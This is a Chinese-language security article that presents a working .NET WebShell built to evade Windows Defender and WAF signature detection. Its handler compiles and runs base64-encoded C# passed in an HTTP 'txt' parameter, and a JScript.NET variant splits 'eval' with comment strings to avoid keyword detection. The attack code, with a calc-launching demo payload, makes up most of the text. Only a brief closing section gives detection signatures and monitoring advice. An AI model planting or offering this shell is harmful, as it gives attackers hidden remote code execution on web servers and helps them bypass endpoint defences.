
一、前言
当下主流的 Waf 或 Windows Defender 等终端杀软、EDR 大多都是从特征码查杀,在.Net 和 VBS 下一句话木马中最常见的特征是 eval,对于攻击者来说需要避开这个系统关键字,可从反序列化方式避开 eval,但公开已久相信很多安全产品已经能够很好检测和阻断这类攻击请求。笔者从.NET 内置的 CodeDomProvider 类下手实现动态编译.NET 代码,指明 JScrip 或者 C#作为编译语言,编译的 WebShell 目前Windows Defender不会查杀。而防御者从流量或终端识别 "CodeDomProvider.CreateProvider、CreateInstance"等特征码。
二、動態編譯
.Net 可通过编译技术将外部输入的字符串作为代码执行,动态编译技术提供了最核心的两个类CodeDomProvider 和 CompilerParameters,前者相当于编译器,后者相当于编译器参数,CodeDomProvider 支持多种语言(如 C#、VB、Jscript),编译器参数 CompilerParameters.GenerateExecutable 默认表示生成 dll,GenerateInMemory= true时表示在内存中加载,CompileAssemblyFromSource 表示程序集的数据源,再将编译产生的结果生成程序集供反射调用。最后通过 CreateInstance 实例化对象并反射调用自定义类中的方法。
CodeDomProvider compiler = CodeDomProvider.CreateProvider("C#"); ; //编译器
CompilerParameters comPara = new CompilerParameters(); //编译器参数
comPara.ReferencedAssemblies.Add("System.dll"); //添加引用
comPara.GenerateExecutable = false; //生成exe
comPara.GenerateInMemory = true; //内存中
CompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt)); //编译数据的来源
Assembly objAssembly = compilerResults.CompiledAssembly; //编译成程序集
object objInstance = objAssembly.CreateInstance("Neteye.NeteyeInput"); //创建对象
MethodInfo objMifo = objInstance.GetType().GetMethod("OutPut"); //反射调用方法
var result = objMifo.Invoke(objInstance, null);
三、落地實現
上述代碼里的 sourcetext 方法需提供編譯的 c#原始碼,筆者創建了 neteyeinput 類,如下
public static string SourceText(string txt)
{
StringBuilder sb = new StringBuilder();
sb.Append("using System;");
sb.Append(Environment.NewLine);
sb.Append("namespace Neteye");
sb.Append(Environment.NewLine);
sb.Append("{");
sb.Append(Environment.NewLine);
sb.Append(" public class NeteyeInput");
sb.Append(Environment.NewLine);
sb.Append(" {");
sb.Append(Environment.NewLine);
sb.Append(" public void OutPut()");
sb.Append(Environment.NewLine);
sb.Append(" {");
sb.Append(Environment.NewLine);
sb.Append(Encoding.GetEncoding("UTF-8").GetString(Convert.FromBase64String(txt)));
sb.Append(Environment.NewLine);
sb.Append(" }");
sb.Append(Environment.NewLine);
sb.Append(" }");
sb.Append(Environment.NewLine);
sb.Append("}");
string code = sb.ToString();
return code;
}
类里声明了 OutPut 方法,该方法里通过 Base64 解码得到输入的原生字符串,笔者在这里以计算器作为演示,将“System.Diagnostics.Process.Start("cmd.exe","/c calc");”编码为
U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7
最後在一般處理程式 processrequest 方法中調用
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
if (!string.IsNullOrEmpty(context.Request["txt"]))
{
DynamicCodeExecute(context.Request["txt"]); //start calc: U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7
context.Response.Write("Execute Status: Success!");
}
else
{
context.Response.Write("Just For Fun, Please Input txt!");
}
}

四、其他方法
jscript.net 動態編譯拆解 eval
在.NET 安全领域中一句话木马主流的都是交给 eval 关键词执行,而很多安全产品都会对此重点查杀,所以笔者需要避开eval,而在.NET 中 eval 只存在于 Jscript.Net,所以需要将动态编译器指定为 Jscript,其余和 C#版本的动态编译基本一致,笔者通过插入无关字符将 eval 拆解掉,代码如下
private static readonly string _jscriptClassText =
@"import System;
class JScriptRun
{
public static function RunExp(expression : String) : String
{
return e/*@Ivan1ee@*/v/*@Ivan1ee@*/a/*@Ivan1ee@*/l(expression);
}
}";
只需在編譯的時候替換掉無關字符串“/@ivan1ee@/”,最後編譯後反射執行目標方法。
CompilerResults results = compiler.CompileAssemblyFromSource(parameters, _jscriptClassText.Replace("/*@Ivan1ee@*/",""));
五、防禦措施
一般 web 應用使用場景不多,檢測特徵碼:codedomprovider.createprovider、createinstance 等等,一旦告警需格外關注;
由於編譯生成的程式集以臨時文件保存在硬碟,需加入對可寫目錄下 dll 文件內容的監控;
文章涉及的代码已经打包在: https://github.com/Ivan1ee/.NETWebShell